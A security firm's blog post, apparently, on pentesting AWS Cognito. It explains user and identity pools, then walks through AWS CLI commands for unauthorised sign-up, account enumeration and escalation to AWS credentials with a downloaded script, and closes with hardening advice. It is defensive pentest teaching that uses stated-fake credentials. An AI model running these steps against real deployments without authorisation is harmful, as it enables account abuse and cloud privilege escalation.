href="#Resolution_2:_Double-check_the_IAM_role_attached_to_an_identity_pool">Resolution 2: Double-check the IAM role attached to an identity pool</a></li></ol></li><li><a href="#Conclusion">Conclusion</a></li></ol>
</nav>
<div class="blog--post__content hn-type">
<span id="hs_cos_wrapper_post_body" class="hs_cos_wrapper hs_cos_wrapper_meta_field hs_cos_wrapper_type_rich_text" style="" data-hs-cos-general-type="meta_field" data-hs-cos-type="rich_text"><h3 id="What_is_AWS_Cognito?">What is AWS Cognito?</h3>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/what-is-aws-cognito.webp" alt="what-is-aws-cognito" loading="lazy" style="height: auto; max-width: 100%; width: 700px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="700" height="449"></p>
<p><strong>AWS Cognito</strong> is a service that manages the authentication on your application, so you don’t have to. It comprises two services, the user pool, and the identity pool.</p>
<!--more-->
<h4 id="The_user_pool">The user pool</h4>
<p>First, the user pool on AWS Cognito allows you to create users that will authenticate to your application. You can create users on the AWS Console, but you can also let your users create an account on your application.</p>
<p>The developer first configures the user pool with requirements and features that will fit with its application: does the application needs 2FA to register? If I enter a phone number to register, does the application needs to send a confirmation code?</p>
<p>The developer then uses the <a href="https://aws.amazon.com/cognito/dev-resources/" rel="noopener" target="_blank">AWS Cognito SDK</a> to connect the application and AWS Cognito.</p>
<p>The schema will clarify your mind.</p>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/user_pool.webp" alt="user_pool" loading="lazy" style="height: auto; max-width: 100%; width: 1906px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="1906" height="942"></p>
<p>As you can see, the front end communicates with the user pool to get a JWT. This JWT is then used to access <strong>backend-restricted resources</strong>.</p>
<p>This JWT is signed using the RS256 algorithm. This algorithm is composed of a private key used to sign the payload and a public key used to check the validity of the payload.</p>
<p>The public key is available on <code>https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json</code>.</p>
<p>Therefore, the backend can check the token validity by retrieving the public key on AWS Cognito, and then validate the JWT signature using this public key.</p>
<h4 id="The_identity_pool">The identity pool</h4>
<p>On the other hand, the identity pool is used to authorize an external identity to access AWS Resources. The external identity can either be identified with standard providers, like Google Account or Facebook Account, but also AWS Cognito User pools. The identity pool is linked to two IAM roles to handle authenticated and unauthenticated accounts.</p>
<p>A common example would be to let application users upload a picture to an <strong>S3 bucket</strong>.</p>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/identity_pool.webp" alt="identity_pool" loading="lazy" style="height: auto; max-width: 100%; width: 1876px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="1876" height="1010"></p>
<p>Now that we’ve seen the service’s internals let’s see if can pwn it/how to abuse it</p>
<h3 id="How_to_pentest_AWS_Cognito?">How to pentest AWS Cognito?</h3>
<p>⚠️ Pentest without permission is illegal! Only use the following techniques in an environment you own or in which you get permission to perform penetration attacks.</p>
<h4 id="Data_retrieval">Data retrieval</h4>
<p>You first need to gather the authentication information on AWS Cognito. This information can be found in the source code. I can’t advise you on getting this information; it will depend on every website.</p>
<p>For this example, I found this information on a JSON file assembled by <strong>Webpack</strong> after deobfuscation.</p>
<p>These credentials are completely faked and used to understand the following commands.</p>
<div class="line-numbers">
<pre class="language-json line-numbers" tabindex="0"><code class="language-json"><span class="token property">"cognito_config"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"region"</span><span class="token operator">:</span> <span class="token string">"eu-west-3"</span><span class="token punctuation">,</span>
<span class="token property">"IdentityPoolId"</span><span class="token operator">:</span> <span class="token string">"eu-west-3:52983214-5fd7-438e-9088-b2e839ceefa0"</span><span class="token punctuation">,</span>
<span class="token property">"UserPoolId"</span><span class="token operator">:</span> <span class="token string">"eu-west-3_liyFAGBUV"</span><span class="token punctuation">,</span>
<span class="token property">"ClientId"</span><span class="token operator">:</span> <span class="token string">"pucXBthcyRvzwqj0WXG28DQeav"</span>
<span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>
</div>
<h4 id="Attack_1:_Unwanted_account_creation"><br>Attack 1: Unwanted account creation</h4>
<p>The first attack to attempt is to create an account, whereas you shouldn’t be allowed to. This mechanism is common on small SaaS websites: only the SaaS administrators create accounts. An account creation, where you shouldn’t be allowed to, could be used to bypass authentication.</p>
<p>To get our way, we’ll perform it by querying the <strong>AWS Cognito API</strong> with the information we gathered.</p>
<p>Instead of doing raw API calls by using <a href="https://curl.se/" rel="noopener" target="_blank">curl</a> or <a href="https://portswigger.net/burp" rel="noopener" target="_blank">Burp</a>, we will use the standard <a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html" rel="noopener" target="_blank">AWS CLI</a>.</p>
<div class="line-numbers">
<pre class="language-bash line-numbers" tabindex="0"><code class="language-bash">$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password <span class="token string">'aR4ndomPassw0rd'</span>
False 157e9620-1c69-4079-9994-8d47d100432a<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>
</div>
<h5><br>Troubleshooting</h5>
<p>If you get a <code>InvalidParameterException</code>, you need to add user attributes, like an email, or a first name.</p>
<div class="line-numbers">
<pre class="language-bash line-numbers" tabindex="0"><code class="language-bash">$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password <span class="token string">'aR4ndomPassw0rd'</span>
An error occurred <span class="token punctuation">(</span>InvalidParameterException<span class="token punctuation">)</span> when calling the SignUp operation: Attributes did not conform to the schema: email: The attribute is required
<span class="token comment"># The email attribute is missing</span>
<span class="token comment"># Choose a valid email as a verification might be needed</span>
$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password <span class="token string">'aR4ndomPassw0rd'</span> --user-attributes <span class="token assign-left variable">Name</span><span class="token operator">=</span>email,Value<span class="token operator">=</span>pentest@h4x0r.com
False 157e9620-1c69-4079-9994-8d47d100432a
CODEDELIVERYDETAILS email EMAIL p***@h***
<span class="token comment"># Yay ! The account is created !</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>
</div>
<p>Wow, you got an account! Just before trying to log in, check the email inbox if you haven’t received a verification code from no-reply@verificationemail.com.</p>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/mail.webp" alt="mail" loading="lazy" style="height: auto; max-width: 100%; width: 292px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="292" height="89"></p>
<p>If you do, you need to enter an additional command before logging in.</p>
<pre class=" language-bash" tabindex="0"><code class=" language-bash">aws cognito-idp confirm-sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --confirmation-code 044388</code></pre>
<h4 id="Attack_2:_Account_oracle"><br>Attack 2: Account oracle</h4>
<p>You can also check if an account exists, as long as self-registration is enabled on AS Cognito. For example, you can check if the admin user exists with:</p>
<pre class=" language-bash" tabindex="0"><code class=" language-bash">$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username admin --password <span class="token string">'aR4ndomPassw0rd'</span>
An error occurred <span class="token punctuation">(</span>UsernameExistsException<span class="token punctuation">)</span> when calling the SignUp operation: User already exists</code></pre>
<p>This is useful for making common account enumeration.</p>
<h4 id="Attack_3:_Identity_pool_escalation">Attack 3: Identity pool escalation</h4>
<p>Now that we have a JWT let’s see if we can continue extending our access. Let’s try now to escalate from the user pool to the identity pool. This attack can only be done if you successfully retrieved an Identity Pool Id.</p>
<p>For this attack, we will need this <a href="https://gist.github.com/ThomasLachaux/576b678f7f463dbbb2925b1ddb21541e" rel="noopener" target="_blank">gist script</a>. We can then use this script to get <strong>AWS credentials</strong>.</p>
<p>⚠️ Please don’t trust me! Read the script before executing it on your machine!<br><br></p>
<div class="line-numbers">
<pre class="language-bash line-numbers" tabindex="0"><code class="language-bash">$ <span class="token function">curl</span> -o cognito.py https://gist.githubusercontent.com/ThomasLachaux/576b678f7f463dbbb2925b1ddb21541e/raw/9462b0545665fc39aa248fe3b5befdb417ec8a40/cognito-escalation.py
$ python3 cognito.py --region<span class="token operator">=</span>eu-west-3 --pool_id<span class="token operator">=</span>eu-west-3_liyFAGBUV --client_id<span class="token operator">=</span>pucXBthcyRvzwqj0WXG28DQeav --identity_pool_id<span class="token operator">=</span>eu-west-3:52983214-5fd7-438e-9088-b2e839ceefa0 --username<span class="token operator">=</span>pentest --password<span class="token operator">=</span><span class="token string">'aR4ndomPassw0rd'</span> <span class="token operator">|</span> <span class="token function">tee</span> credentials.txt
<span class="token punctuation">[</span>hacker<span class="token punctuation">]</span>
output <span class="token operator">=</span> json
aws_access_key_id <span class="token operator">=</span> ROWIKQXNMUAU76LTQJEB
aws_secret_access_key <span class="token operator">=</span> wympLAO6i9zn9GPo51hGxGRA8rsIWb8l5zzMa2iD
aws_session_token <span class="token operator">=</span> LEGcBVDyXxpyYaVs3i0XPa2dB+dCcwbc0IAbkdVpMVf1TTBOVDrNW+P/6/PUAAZabR2SwG9r0qdq3Uj09dm4pvWh+B3BMjmkqh+6JHzj9YYxpmLPKYmLpAkHReIcr56rHLvW0mlBs/UbnthV8r1SIHzG1ze1jjCqA/mt84L8aL6KlPYJuakFWBA2f7iKO7UoR3NmHHc23N/7PfQtIexeKyKgDE1tX4OgYal1K4biAKDWeIsQm1NCfWDDB7i87kETCLYPlAuDKljfPxY1LAL0EvM9zX7lKgPUMfbtR80alEj6JhpZW/BBoEylpbfz7i3ZWSpIvqSlctqxAr5tLcYaJVjpPhP7ZhazNXriS7FZ1/Q6Uw+PGnHUxg0bk5SqjxocU/ya42X6krtJUra0R+Z9pe4dT1vKUBRBzrWyK5BdTa7gI7vOsK50jHcDLJ/CxF4JAbJrynPWTkZ/ZmHIZsD8GjEZh7Gf4fIsg3c0J1RcUevGpwFdCzq1L3rmyyD9+Esd+639u3t6lvltUZK0hPfWl7MUz4kbQ4ve1lzD3d7vn4JPydUTI/Ck34HTUSZnj834M95N6ov3jzwJevcvoCZLEaNbfyvq/UKbpBnI2OZ44kNBF5nWqDZV8BVYOxq63p1WnE++JmG2UC5Y/QZM2OqteIyFFgJ4OvaXtmY5jw6ypj8EhCZUiExl9RiDoS8X4tTlXbx4hGhpWvggKZBN+hfmZTn0FhzTjx1QWGPzVXy66D7ZvJ7O9loW9bS3ydiOfRsUg5etY/P4Ci2QomEvw/+QD4N9sFK1oHQogxq0M3lit0uUj74+Z9GnyHEcrBTKQrUo73dk5PpsENhru1bFZRromMMcB0UlmwpHcSyCq6xpf6jnYWyzfSQ/m/ZAe9UVHftOsZfblNJgftxcw4GSVX/lqpkhWi3eFpma2SvrYMckDbTWVaGmO9z+INGHqMpu7VIhNkzMNQESS<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>
</div>
<p>Yay ! We have credentials! You can then execute:</p>
<div class="line-numbers">
<pre class="language-bash line-numbers" tabindex="0"><code class="language-bash">$ <span class="token function">mkdir</span> -p ~/.aws
$ <span class="token function">cp</span> credentials.txt ~/.aws/config
$ aws --profile hacker sts get-caller-identity
<span class="token punctuation">{</span>
<span class="token string">"UserId"</span><span class="token builtin class-name">:</span> <span class="token string">"ROWIKQXNMUAU76LTQJEB:CognitoIdentityCredentials"</span>,
<span class="token string">"Account"</span><span class="token builtin class-name">:</span> <span class="token string">"682987823363"</span>,
<span class="token string">"Arn"</span><span class="token builtin class-name">:</span> <span class="token string">"arn:aws:sts::682987823363:assumed-role/Cognito/CognitoIdentityCredentials"</span>
<span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>
</div>
<p>And we have access to AWS! But we still don’t know what can it can be used for. The next step is to enumerate those access and check what you can then exploit.</p>
<p>This part is not documented in this article, but I strongly encourage you to use the tool <a href="https://github.com/andresriancho/enumerate-iam" rel="noopener" target="_blank">enumerate-iam</a> to continue the exploitation.</p>
<p>If you are an SRE, you must be dreadfully anxious by wondering if your fresh infrastructure is riddled with all these vulnerabilities. So let’s see how we can ensure nobody except you can access AWS!</p>
<h4 id="Attack_on_Cognito_Script">Attack on Cognito Script</h4>
<p>Padok Security created a simple script to help you execute these attacks. They are implemented in a CLI tool named <code>cognito-scanner</code> and is very easy to use. It is available on <a href="https://github.com/padok-team/cognito-scanner" rel="noopener" target="_blank">Padok's github</a>. You don’t need any requirements except Python and the data needed for the pentest.</p>
<p>While the script exposes potential weaknesses, it also serves as a valuable tool for security professionals and developers to assess the effectiveness of their security controls and validate the measures they've implemented to secure their Cognito user pools. As responsible practitioners, it is essential to learn from these experiments and promptly apply the necessary safeguards to protect our applications and users from real-world threats.</p>
<h3 id="How_can_you_avoid_being_pwned_on_AWS_Cognito?">How can you avoid being pwned on AWS Cognito?</h3>
<ul>
<li>Make sure that registration is disabled if you don’t want</li>
<li>Check that the IAM role associated with the identity pool does not have too many rights</li>
<li>Double-check unauthenticated identity pools</li>
</ul>
<h4 id="Resolution_1:_Check_self-service_sign-up"><br>Resolution 1: Check self-service sign-up</h4>
<p>If you want only to have control over the users, you must double-check that <code>Self-service sign-up</code> is entirely disabled to avoid being pwned by the first attack mentioned before.</p>
<p>Having the self-service sign-up deactivated will also prevent the attackers from having an oracle account. The <strong>AWS Cognito service</strong> will reply with the same error if the account exists or not in this case.</p>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/self_service_sign_up.webp" alt="self_service_sign_up" loading="lazy" style="height: auto; max-width: 100%; width: 924px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="924" height="334"></p>
<h4 id="Resolution_2:_Double-check_the_IAM_role_attached_to_an_identity_pool">Resolution 2: Double-check the IAM role attached to an identity pool</h4>
<p>Double-check the authenticated and unauthenticated roles attached to Cognito. For example, with my credentials, I had full access to all S3 buckets.</p>
<p><img class="lazy" data-src="https://www.padok.fr/hubfs/Images/Blog/cognito_auth_role.webp" alt="cognito_auth_role" loading="lazy" style="height: auto; max-width: 100%; width: 2620px; margin-left: auto; margin-right: auto; display: block;" data-ll-status="observed" width="2620" height="1334"></p>
<p>So double / triple-check the IAM. And if you need clarification on what you are doing, we, at Padok, can <a href="https://security.padok.fr/offre-audit-securite" rel="noopener" target="_blank">audit your infrastructure</a> to make it more secure.</p>
<h3 id="Conclusion">Conclusion</h3>
<p>In a nutshell, you can feel well protected behind AWS Cognito because it is a big tech company that manages your authentication and authorization. However, even AWS cannot protect you from your misconfigurations.</p>
<p>Now that the attacker has managed to escalate to AWS credentials, the next step is to see what he can do. The CLI <a href="https://github.com/andresriancho/enumerate-iam" rel="noopener" target="_blank">enumerate-iam</a> will be useful for this purpose.</p></span>
</div>
</section>
<aside>
<p class="font-regular text-right mb-1">24 July 2023</p>
<div class="d-flex align-items-start pt-2 post--author--info">
<div class="post--avatar--wrapper--lg">
<img class="post--avatar img-fluid" src="https://security.padok.fr/hubfs/Images/Equipe/thomas-padok-devops.png" alt="Thomas de Lachaux">
</div>
<div class="ml-2">
<p class="post--author mb-1">Thomas de Lachaux</p>
<p>Thomas is a SecOps Engineer at Padok. He pentests cloud infrastructures to assess their security level to prevent malicious user attacks. He enjoys CTFs and playing piano.</p>
</div>
</div>
</aside>
</div>
<div class="offset-lg-1 col-lg-3" data-sticky-container="">
<aside class="sidebar-sticky pt-4 pt-lg-0 mb-4 mb-lg-0" data-margin-top="50">
<div>
<div id="hs_cos_wrapper_module_16800148934451" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
<div id="" class="case-study-sidebar px-1 py-2 ">
<p class="casestudy--title mb-1">Vous avez un projet Cloud ?</p>
<a class="btn secondary green" href="https://www.padok.fr/contact">Contactez-nous</a>
</div></div>
</div>
<div class="share--component d-flex align-items-center justify-content-between mt-2 mb-2 py-1">
<div class="d-flex aling-items-center align-items-center">
<p class="font-regular font-weight-bold">Partager</p>
<svg class="arrow--svg" width="8" height="7" viewBox="0 0 8 7" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M4.07601 0.257553L4.02687 0.329202C3.84875 0.624425 3.89137 1.01675 4.13432 1.27343L5.52351 2.74075L0.706524 2.74129L0.627816 2.74622C0.265661 2.79478 0 3.11719 0 3.5L0.00413647 3.58254C0.0424115 3.96213 0.341637 4.25872 0.70654 4.25872L5.60703 4.25762L4.23604 5.70764L4.19573 5.75438C3.96276 6.05492 3.99085 6.49219 4.25404 6.77026C4.53561 7.06775 4.98587 7.0787 5.25985 6.78924L7.80133 4.10407L7.84168 4.05728C8.07466 3.75674 8.04657 3.31948 7.78338 3.0414L5.12216 0.229741L5.07126 0.180639C4.78679 -0.0696526 4.37269 -0.0600588 4.11636 0.210767L4.07601 0.257553Z" fill="#161618"></path>
</svg>
</div>
<div class="d-flex">
<a target="_blank" class="social--icon gradient-img d-flex justify-content-center align-items-center" href="https://www.linkedin.com/sharing/share-offsite/?url=https://security.padok.fr/en/blog/aws-cognito-pentest">
<svg width="30" height="31" viewBox="0 0 30 31" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect y="0.5" width="30" height="30" rx="2" fill="url(#paint0_radial_155_268)"></rect>
<rect y="0.5" width="30" height="30" rx="2" fill="url(#paint1_radial_155_268)"></rect>
<rect y="0.5" width="30" height="30" rx="2" fill="#161618" fill-opacity="0.2"></rect>
<path fill-rule="evenodd" clip-rule="evenodd" d="M9.20057 8.01025C8.05106 8.01025 7.30005 8.76492 7.30005 9.75544C7.30005 10.7256 8.02908 11.5022 9.15662 11.5022H9.17803C10.3495 11.5022 11.0791 10.7256 11.0791 9.75544C11.0571 8.76492 10.3496 8.01025 9.20057 8.01025ZM7.49878 12.8823H10.8574V22.9895H7.49878V12.8823ZM16.0767 14.3132C16.5223 13.6255 17.3209 12.6449 19.1037 12.6449C21.3149 12.6449 22.9717 14.0894 22.9717 17.1938V22.9895H19.6126V17.5818C19.6126 16.2237 19.1268 15.2964 17.9103 15.2964C16.9831 15.2964 16.4303 15.9214 16.1871 16.5249C16.0987 16.7414 16.0767 17.0426 16.0767 17.345V22.9895H12.7171C12.7171 22.9895 12.7615 13.8305 12.7171 12.8823H16.0767V14.3132Z" fill="white"></path>
<defs>
<radialGradient id="paint0_radial_155_268" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(38.0422 100.794) rotate(-95.3359) scale(132.567 47.7133)">
<stop offset="0.526603" stop-color="#FBFF40"></stop>
<stop offset="0.877731" stop-color="#0BFFF0"></stop>
</radialGradient>
<radialGradient id="paint1_radial_155_268" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(-9.12651 -14.7941) rotate(44.3568) scale(58.1553 114.192)">
<stop offset="0.179766" stop-color="#07DC50" stop-opacity="0.28"></stop>
<stop offset="0.984375" stop-color="#2AFFF2" stop-opacity="0.66"></stop>
</radialGradient>
</defs>
</svg>
</a>
<a target="_blank" class="ml-1 social--icon gradient-img d-flex justify-content-center align-items-center" href="http://www.facebook.com/sharer.php?u=https://security.padok.fr/en/blog/aws-cognito-pentest">
<svg width="30" height="31" viewBox="0 0 30 31" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 2.5C0 1.39543 0.895431 0.5 2 0.5H15.0001H28C29.1046 0.5 30 1.39543 30 2.5V15.5917V28.5C30 29.6046 29.1046 30.5 28 30.5H17.3437V19.9541H20.8389L21.504 15.5917H17.3437V12.7607C17.3437 11.5672 17.9249 10.4039 19.7883 10.4039H21.6797V6.68993C21.6797 6.68993 19.9631 6.39518 18.322 6.39518C14.8957 6.39518 12.6563 8.48443 12.6563 12.2668V15.5917H8.84768V19.9541H12.6563V30.5H2C0.89543 30.5 0 29.6046 0 28.5V15.5917V2.5Z" fill="url(#paint0_radial_155_265)"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 2.5C0 1.39543 0.895431 0.5 2 0.5H15.0001H28C29.1046 0.5 30 1.39543 30 2.5V15.5917V28.5C30 29.6046 29.1046 30.5 28 30.5H17.3437V19.9541H20.8389L21.504 15.5917H17.3437V12.7607C17.3437 11.5672 17.9249 10.4039 19.7883 10.4039H21.6797V6.68993C21.6797 6.68993 19.9631 6.39518 18.322 6.39518C14.8957 6.39518 12.6563 8.48443 12.6563 12.2668V15.5917H8.84768V19.9541H12.6563V30.5H2C0.89543 30.5 0 29.6046 0 28.5V15.5917V2.5Z" fill="url(#paint1_radial_155_265)"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 2.5C0 1.39543 0.895431 0.5 2 0.5H15.0001H28C29.1046 0.5 30 1.39543 30 2.5V15.5917V28.5C30 29.6046 29.1046 30.5 28 30.5H17.3437V19.9541H20.8389L21.504 15.5917H17.3437V12.7607C17.3437 11.5672 17.9249 10.4039 19.7883 10.4039H21.6797V6.68993C21.6797 6.68993 19.9631 6.39518 18.322 6.39518C14.8957 6.39518 12.6563 8.48443 12.6563 12.2668V15.5917H8.84768V19.9541H12.6563V30.5H2C0.89543 30.5 0 29.6046 0 28.5V15.5917V2.5Z" fill="#161618" fill-opacity="0.2"></path>
<defs>
<radialGradient id="paint0_radial_155_265" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(38.0422 100.794) rotate(-95.3359) scale(132.567 47.7133)">
<stop offset="0.526603" stop-color="#FBFF40"></stop>
<stop offset="0.877731" stop-color="#0BFFF0"></stop>
</radialGradient>
<radialGradient id="paint1_radial_155_265" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(-9.12651 -14.7941) rotate(44.3568) scale(58.1553 114.192)">
<stop offset="0.179766" stop-color="#07DC50" stop-opacity="0.28"></stop>
<stop offset="0.984375" stop-color="#2AFFF2" stop-opacity="0.66"></stop>
</radialGradient>
</defs>
</svg>
</a>
<a target="_blank" class="ml-1 social--icon gradient-img d-flex justify-content-center align-items-center" href="https://twitter.com/intent/tweet?text=https://security.padok.fr/en/blog/aws-cognito-pentest">
<svg width="30" height="31" viewBox="0 0 30 31" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect y="0.5" width="30" height="30" rx="2" fill="url(#paint0_radial_155_256)"></rect>
<rect y="0.5" width="30" height="30" rx="2" fill="url(#paint1_radial_155_256)"></rect>
<rect y="0.5" width="30" height="30" rx="2" fill="#161618" fill-opacity="0.2"></rect>
<mask id="mask0_155_256" style="mask-type:luminance" maskUnits="userSpaceOnUse" x="5" y="7" width="20" height="17">
<path d="M24.9608 9.02445C24.2234 9.36346 23.4359 9.5944 22.6068 9.69985C23.4517 9.16738 24.1017 8.32814 24.4092 7.32681C23.6167 7.81048 22.7384 8.16256 21.8035 8.35864C21.0568 7.52289 19.9927 7 18.8111 7C16.547 7 14.7113 8.91987 14.7113 11.2851C14.7113 11.625 14.7488 11.9518 14.8171 12.2646C11.4089 12.0964 8.38819 10.3848 6.36661 7.79741C6.01079 8.42662 5.81163 9.15779 5.81163 9.95432C5.81163 11.4446 6.5366 12.7544 7.63489 13.5239C6.96242 13.5013 6.32994 13.3078 5.7783 12.9871V13.0402C5.7783 15.1187 7.18908 16.8521 9.0665 17.2469C8.72234 17.3436 8.35903 17.3959 7.98654 17.3959C7.72489 17.3959 7.47406 17.3698 7.22324 17.321C7.74905 19.023 9.26066 20.264 11.0597 20.2988C9.65981 21.4483 7.88571 22.1333 5.97496 22.1333C5.64997 22.1333 5.32582 22.1132 5 22.0749C6.82409 23.2897 8.97317 24 11.2972 24C18.8419 24 22.9626 17.4674 22.9626 11.8115C22.9626 11.6293 22.9626 11.4454 22.9501 11.2624C23.7509 10.662 24.45 9.90291 25 9.04188L24.9608 9.02445Z" fill="white"></path>
</mask>
<g mask="url(#mask0_155_256)">
<rect x="-35" y="-26" width="100" height="100" fill="white"></rect>
</g>
<defs>
<radialGradient id="paint0_radial_155_256" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(38.0422 100.794) rotate(-95.3359) scale(132.567 47.7133)">
<stop offset="0.526603" stop-color="#FBFF40"></stop>
<stop offset="0.877731" stop-color="#0BFFF0"></stop>
</radialGradient>
<radialGradient id="paint1_radial_155_256" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(-9.12651 -14.7941) rotate(44.3568) scale(58.1553 114.192)">
<stop offset="0.179766" stop-color="#07DC50" stop-opacity="0.28"></stop>
<stop offset="0.984375" stop-color="#2AFFF2" stop-opacity="0.66"></stop>
</radialGradient>
</defs>
</svg>
</a>
</div>
</div>
</aside>
</div>
</div>
</div>
</article>
<div id="hs_cos_wrapper_module_16813752118191" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
<div id="" class="blog-listing-module ">
<div class=" negative--margin section-md ">
<aside>
<div class="container">
<div class="row">
<div class="col-12">
<p class="text-center mb-3 h2">Articles similaires</p>
</div>
</div>
<div class="row">
<div class="col-md-4">
<article class="post">
<a class="text-decoration-none blog--link d-block" href="https://security.padok.fr/en/blog/oauth2-proxy">
<div class="position-relative blog--shape">
<img class="img-fluid blog--image lazy fit-cover" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 '%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Images/Blog/Oauth2-Proxy%20%281%29.webp" alt="Easily plug any webapp to any IdP using oauth2-proxy" data-ll-status="observed">
</div>
</a>
<div class="blog-post-infos mt-2">
<a class="label text-decoration-none" href="https://security.padok.fr/en/blog/tag/technology">Technology</a>
<span class="blog--readtime"> • 6 min</span>
</div>
<p class="title mb-1"><span>Easily plug any webapp to any IdP using oauth2-proxy</span></p>
<p class="font-regular">Learn how to implement an oauth2-proxy on your kubernetes cluster for secure and easy access to your apps with SSO.</p>
</article>
</div>
<div class="col-md-4">
<article class="post">
<a class="text-decoration-none blog--link d-block" href="https://security.padok.fr/en/blog/appliacation-load-balancer">
<div class="position-relative blog--shape">
<img class="img-fluid blog--image lazy fit-cover" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 '%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Images/Blog/alb%20%281%29.webp" alt="Authenticate your users with an AWS Application Load Balancer" data-ll-status="observed">
</div>
</a>
<div class="blog-post-infos mt-2">
<a class="label text-decoration-none" href="https://security.padok.fr/en/blog/tag/technology">Technology</a>
<span class="blog--readtime"> • 10 min</span>
</div>
<p class="title mb-1"><span>Authenticate your users with an AWS Application Load Balancer</span></p>
<p class="font-regular">Learn how to authenticate your users to your applications with an Application Load Balancer and AWS Cognito.</p>
</article>
</div>
<div class="col-md-4">
<article class="post">
<a class="text-decoration-none blog--link d-block" href="https://security.padok.fr/en/blog/aws-iam">
<div class="position-relative blog--shape">
<img class="img-fluid blog--image lazy fit-cover" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 '%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Images/Blog/IAM.webp" alt="IAM Identity Center: why you should get rid of IAM Users" data-ll-status="observed">
</div>
</a>
<div class="blog-post-infos mt-2">
<a class="label text-decoration-none" href="https://security.padok.fr/en/blog/tag/technology">Technology</a>
<span class="blog--readtime"> • 4 min</span>
</div>
<p class="title mb-1"><span>IAM Identity Center: why you should get rid of IAM Users</span></p>
<p class="font-regular">Do you use IAM users to manage the employees? Let’s see why it is a huge mistake and why you should replace it with AWS IAM Identity Center.</p>
</article>
</div>
</div>
</div>
</aside>
</div>
</div>
</div>
<div id="hs_cos_wrapper_module_16799098587311" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
<aside id="" class="banner-cta text-white-a position-relative z-md section-md ">
<div class="container">
<div class="wrapper p-3 p-md-4 d-flex justify-content-between align-items-end flex-wrap bg-blue-gradient position-relative rounded overflow-hidden">
<svg class="pattern position-absolute" width="723" height="241" viewBox="0 0 723 241" fill="none" xmlns="http://www.w3.org/2000/svg">
<g opacity="0.5">
<path fill-rule="evenodd" clip-rule="evenodd" d="M1082.62 435.404L1083.92 343.683L1086.54 159.283L1086.9 133.988L513.196 38.26C473.955 31.7122 433.725 41.1351 401.479 64.4265L320.239 123.109L220.162 205.493C142.148 269.715 173.586 395.711 272.626 415.755L315.961 424.525L889.661 520.252C928.902 526.8 969.132 517.377 1001.38 494.086L1082.62 435.404Z" fill="url(#paint0_linear_1033_1206)"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M1082.62 435.404L1083.92 343.683L1086.54 159.283L1086.9 133.988L513.196 38.26C473.955 31.7122 433.725 41.1351 401.479 64.4265L320.239 123.109L220.162 205.493C142.148 269.715 173.586 395.711 272.626 415.755L315.961 424.525L889.661 520.252C928.902 526.8 969.132 517.377 1001.38 494.086L1082.62 435.404Z" fill="url(#paint1_radial_1033_1206)" fill-opacity="0.4"></path>
</g>
<path d="M313.538 130.481L395.536 69.1774C431.147 42.5534 476.136 31.7368 519.959 39.2628L769.997 82.2044" stroke="url(#paint2_linear_1033_1206)"></path>
<defs>
<linearGradient id="paint0_linear_1033_1206" x1="696.513" y1="-127.351" x2="447.196" y2="598.355" gradientUnits="userSpaceOnUse">
<stop offset="0.125624" stop-color="white" stop-opacity="0.31"></stop>
<stop offset="0.595726" stop-color="white" stop-opacity="0"></stop>
</linearGradient>
